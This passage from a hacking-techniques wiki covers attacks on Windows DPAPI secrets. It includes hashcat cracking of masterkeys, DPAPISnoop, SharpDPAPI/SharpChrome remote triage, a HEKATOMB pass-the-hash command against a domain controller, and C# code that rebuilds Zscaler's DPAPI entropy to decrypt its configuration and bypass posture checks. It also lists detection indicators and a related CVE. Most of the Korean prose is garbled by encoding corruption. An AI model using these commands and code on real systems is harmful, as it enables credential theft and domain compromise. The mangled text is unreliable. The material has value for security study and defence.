Microsoft๋ Windows 10 v1607 (2016)๋ถํฐ context 3 masterkey ํฌ๋งท์ ๋์
ํ์ต๋๋ค. hashcat v6.2.6 (December 2023)์ ํด์-๋ชจ๋ 22100 (DPAPI masterkey v1 context ), 22101 (context 1) ๋ฐ 22102 (context 3)์ ์ถ๊ฐํ์ฌ masterkey ํ์ผ์์ ์ง์ user passwords๋ฅผ GPU๋ก ๊ฐ์ํด crackingํ ์ ์๊ฒ ํ์ต๋๋ค. ๋ฐ๋ผ์ ๊ณต๊ฒฉ์๋ ๋์ ์์คํ
๊ณผ ์ํธ์์ฉํ์ง ์๊ณ word-list ๋๋ brute-force ๊ณต๊ฒฉ์ ์ํํ ์ ์์ต๋๋ค.
DPAPISnoop (2024) ์ ์ด ๊ณผ์ ์ ์๋ํํฉ๋๋ค:
# Parse a whole Protect folder, generate hashcat format and crack
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
hashcat -m 22102 bob.hc wordlist.txt -O -w4
The tool can also parse Credential and Vault blobs, decrypt them with cracked keys and export cleartext passwords.
๋ค๋ฅธ ๋จธ์ ์ ๋ฐ์ดํฐ์ ์ ๊ทผ
In SharpDPAPI and SharpChrome you can indicate the /server:HOST option to access a remote machineโs data. Of course you need to be able to access that machine and in the following example itโs supposed that the ๋๋ฉ์ธ ๋ฐฑ์
์ํธํ ํค๊ฐ ์๋ ค์ ธ ์๋ค๊ณ ๊ฐ์ ํฉ๋๋ค:
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
SharpChrome cookies /server:HOST /pvk:BASE64
๊ธฐํ ๋๊ตฌ
HEKATOMB
HEKATOMB ๋ LDAP ๋๋ ํฐ๋ฆฌ์์ ๋ชจ๋ ์ฌ์ฉ์์ ์ปดํจํฐ๋ฅผ ์ถ์ถํ๊ณ RPC๋ฅผ ํตํด ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ ๋ฐฑ์ ํค๋ฅผ ์ถ์ถํ๋ ์์ ์ ์๋ํํ๋ ๋๊ตฌ์ ๋๋ค. ์คํฌ๋ฆฝํธ๋ ์ถ์ถํ ์ปดํจํฐ๋ค์ IP ์ฃผ์๋ฅผ ํ์ธํ ๋ค์ ๋ชจ๋ ์ปดํจํฐ์ ๋ํด smbclient๋ฅผ ์คํํ์ฌ ๋ชจ๋ ์ฌ์ฉ์์ DPAPI ๋ธ๋กญ์ ๊ฐ์ ธ์ค๊ณ ๋๋ฉ์ธ ๋ฐฑ์ ํค๋ก ๋ชจ๋ ๋ณตํธํํฉ๋๋ค.
python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp
LDAP์์ ์ถ์ถํ ์ปดํจํฐ ๋ชฉ๋ก์ผ๋ก ์์ง ๋ชปํ๋ ๋ชจ๋ ์๋ธ๋ท๋ ์ฐพ์๋ผ ์ ์์ต๋๋ค!
DonPAPI 2.x (2024-05)
DonPAPI ๋ DPAPI๋ก ๋ณดํธ๋ ๋น๋ฐ์ ์๋์ผ๋ก ๋คํํ ์ ์์ต๋๋ค. 2.x ๋ฆด๋ฆฌ์ค๋ ๋ค์์ ๋์ ํ์ต๋๋ค:
- ์๋ฐฑ ๋์ ํธ์คํธ์์ ๋ธ๋กญ์ ๋ณ๋ ฌ ์์ง
- context 3 ๋ง์คํฐํค ํ์ฑ ๋ฐ Hashcat ์๋ ํฌ๋ํน ํตํฉ
- Chrome โApp-Boundโ ์ํธํ๋ ์ฟ ํค ์ง์ (๋ค์ ์น์ ์ฐธ์กฐ)
- ์๋ํฌ์ธํธ๋ฅผ ๋ฐ๋ณต ํด๋งํ๊ณ ์๋ก ์์ฑ๋ ๋ธ๋กญ์ diffํ๋ ์๋ก์ด
--snapshot๋ชจ๋
DPAPISnoop
DPAPISnoop ๋ masterkey/credential/vault ํ์ผ์ ํ์ฑํ๋ C# ํ์๋ก Hashcat/JtR ํ์์ผ๋ก ์ถ๋ ฅํ๊ณ ์ ํ์ ์ผ๋ก ์๋์ผ๋ก ํฌ๋ํน์ ํธ์ถํ ์ ์์ต๋๋ค. Windows 11 24H1๊น์ง์ ๋จธ์ ๋ฐ ์ฌ์ฉ์ ๋ง์คํฐํค ํฌ๋งท์ ์์ ํ ์ง์ํฉ๋๋ค.
์ผ๋ฐ์ ์ธ ํ์ง ์งํ
C:\Users\*\AppData\Roaming\Microsoft\Protect\*,C:\Users\*\AppData\Roaming\Microsoft\Credentials\*๋ฐ ๊ธฐํ DPAPI ๊ด๋ จ ๋๋ ํฐ๋ฆฌ์ ํ์ผ ์ ๊ทผ.- ํนํ C$ ๋๋ ADMIN$ ๊ฐ์ ๋คํธ์ํฌ ๊ณต์ ๋ฅผ ํตํ ์ ๊ทผ.
- LSASS ๋ฉ๋ชจ๋ฆฌ์ ์ ๊ทผํ๊ฑฐ๋ ๋ง์คํฐํค๋ฅผ ๋คํํ๊ธฐ ์ํด Mimikatz, SharpDPAPI ๋๋ ์ ์ฌ ๋๊ตฌ ์ฌ์ฉ.
- ์ด๋ฒคํธ 4662: An operation was performed on an object โ ์ด ์ด๋ฒคํธ๋
BCKUPKEY๊ฐ์ฒด์ ๋ํ ์ ๊ทผ๊ณผ ์ฐ๊ด๋ ์ ์์ต๋๋ค. - ํ๋ก์ธ์ค๊ฐ SeTrustedCredManAccessPrivilege (Credential Manager)๋ฅผ ์์ฒญํ ๋์ ์ด๋ฒคํธ 4673/4674
2023-2025 ์ทจ์ฝ์ ๋ฐ ์ํ๊ณ ๋ณํ
- CVE-2023-36004 โ Windows DPAPI Secure Channel Spoofing (November 2023). ๋คํธ์ํฌ ์ ๊ทผ๊ถ์ ๊ฐ์ง ๊ณต๊ฒฉ์๊ฐ ๋๋ฉ์ธ ๋ฉค๋ฒ๋ฅผ ์์ฌ ์ ์ฑ DPAPI ๋ฐฑ์ ํค๋ฅผ ๊ฐ์ ธ์ค๊ฒ ํ ์ ์์์ผ๋ฉฐ, ์ด๋ฅผ ํตํด ์ฌ์ฉ์ ๋ง์คํฐํค๋ฅผ ๋ณตํธํํ ์ ์์์ต๋๋ค. 2023๋ 11์ ๋์ ์ ๋ฐ์ดํธ์์ ํจ์น๋์์ผ๋ฏ๋ก ๊ด๋ฆฌ์๋ DC์ ์ํฌ์คํ ์ด์ ์ด ์์ ํ ํจ์น๋์๋์ง ํ์ธํด์ผ ํฉ๋๋ค.
- Chrome 127 โApp-Boundโ cookie encryption (July 2024) ์ ๊ธฐ์กด์ DPAPI ์ ์ฉ ๋ณดํธ๋ฅผ ์ฌ์ฉ์ Credential Manager์ ์ ์ฅ๋ ์ถ๊ฐ ํค๋ก ๋์ฒดํ์ต๋๋ค. ์คํ๋ผ์ธ์์ ์ฟ ํค๋ฅผ ๋ณตํธํํ๋ ค๋ฉด ์ด์ DPAPI ๋ง์คํฐํค์ GCM-wrapped app-bound key ๋ ๋ค ํ์ํฉ๋๋ค. SharpChrome v2.3 ๋ฐ DonPAPI 2.x๋ ์ฌ์ฉ์ ์ปจํ ์คํธ๋ก ์คํ๋ ๋ ์ถ๊ฐ ํค๋ฅผ ๋ณต๊ตฌํ ์ ์์ต๋๋ค.
์ฌ๋ก ์ฐ๊ตฌ: Zscaler Client Connector โ SID์์ ํ์๋ ์ฌ์ฉ์ ์ ์ ์ํธ๋กํผ
Zscaler Client Connector๋ C:\ProgramData\Zscaler ์๋์ ์ฌ๋ฌ ๊ตฌ์ฑ ํ์ผ(์: config.dat, users.dat, *.ztc, *.mtt, *.mtc, *.mtp)์ ์ ์ฅํฉ๋๋ค. ๊ฐ ํ์ผ์ DPAPI (Machine scope) ๋ก ์ํธํ๋์ง๋ง ๋ฒค๋๋ ๋์คํฌ์ ์ ์ฅํ๋ ๋์ ๋ฐํ์์ ๊ณ์ฐ๋๋ custom entropy ๋ฅผ ์ ๊ณตํฉ๋๋ค.
์ํธ๋กํผ๋ ๋ค์ ๋ ์์์์ ์ฌ๊ตฌ์ฑ๋ฉ๋๋ค:
ZSACredentialProvider.dll์์ ํ๋์ฝ๋ฉ๋ ๋น๋ฐ.- ํด๋น ๊ตฌ์ฑ์ ์ํ Windows ๊ณ์ ์ SID.
DLL์ ์ํด ๊ตฌํ๋ ์๊ณ ๋ฆฌ์ฆ์ ๋ค์๊ณผ ๋๋ฑํฉ๋๋ค:
byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
byte[] sid = Encoding.UTF8.GetBytes(CurrentUserSID);
// XOR the two buffers byte-by-byte
byte[] tmp = new byte[secret.Length];
for (int i = 0; i < secret.Length; i++)
tmp[i] = (byte)(sid[i] ^ secret[i]);
// Split in half and XOR both halves together to create the final entropy buffer
byte[] entropy = new byte[tmp.Length / 2];
for (int i = 0; i < entropy.Length; i++)
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
์ด ๋น๋ฐ์ ๋์คํฌ์์ ์ฝ์ ์ ์๋ DLL์ ํฌํจ๋์ด ์๊ธฐ ๋๋ฌธ์, SYSTEM ๊ถํ์ ๊ฐ์ง ๋ก์ปฌ ๊ณต๊ฒฉ์๋ ๋ชจ๋ SID์ ๋ํ ์ํธ๋กํผ๋ฅผ ์ฌ์์ฑํ์ฌ blobs๋ฅผ ์คํ๋ผ์ธ์ผ๋ก ๋ณตํธํํ ์ ์์ต๋๋ค:
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
Console.WriteLine(Encoding.UTF8.GetString(clear));
๋ณตํธํํ๋ฉด ๋ชจ๋ ์ฅ์น ๋ณด์ ์ํ ๊ฒ์ฌ์ ๊ทธ ์์ ๊ฐ์ ํฌํจํ ์์ ํ JSON ๊ตฌ์ฑ์ด ๋๋ฌ๋ฉ๋๋ค โ ํด๋ผ์ด์ธํธ ์ธก ์ฐํ ์๋ ์ ๋งค์ฐ ์ ์ฉํ ์ ๋ณด์ ๋๋ค.
ํ: ๋ค๋ฅธ ์ํธํ๋ ์ํฐํฉํธ (
*.mtt,*.mtp,*.mtc,*.ztc)๋ DPAPI ์์ด entropy (16zero bytes)๋ก ๋ณดํธ๋ฉ๋๋ค. ๋ฐ๋ผ์ SYSTEM ๊ถํ์ ํ๋ํ๋ฉดProtectedData.Unprotect๋ก ์ง์ ๋ณตํธํํ ์ ์์ต๋๋ค.
References
-
Synacktiv โ Should you trust your zero trust? Bypassing Zscaler posture checks
-
https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
-
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004
-
https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
-
https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/
-
HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


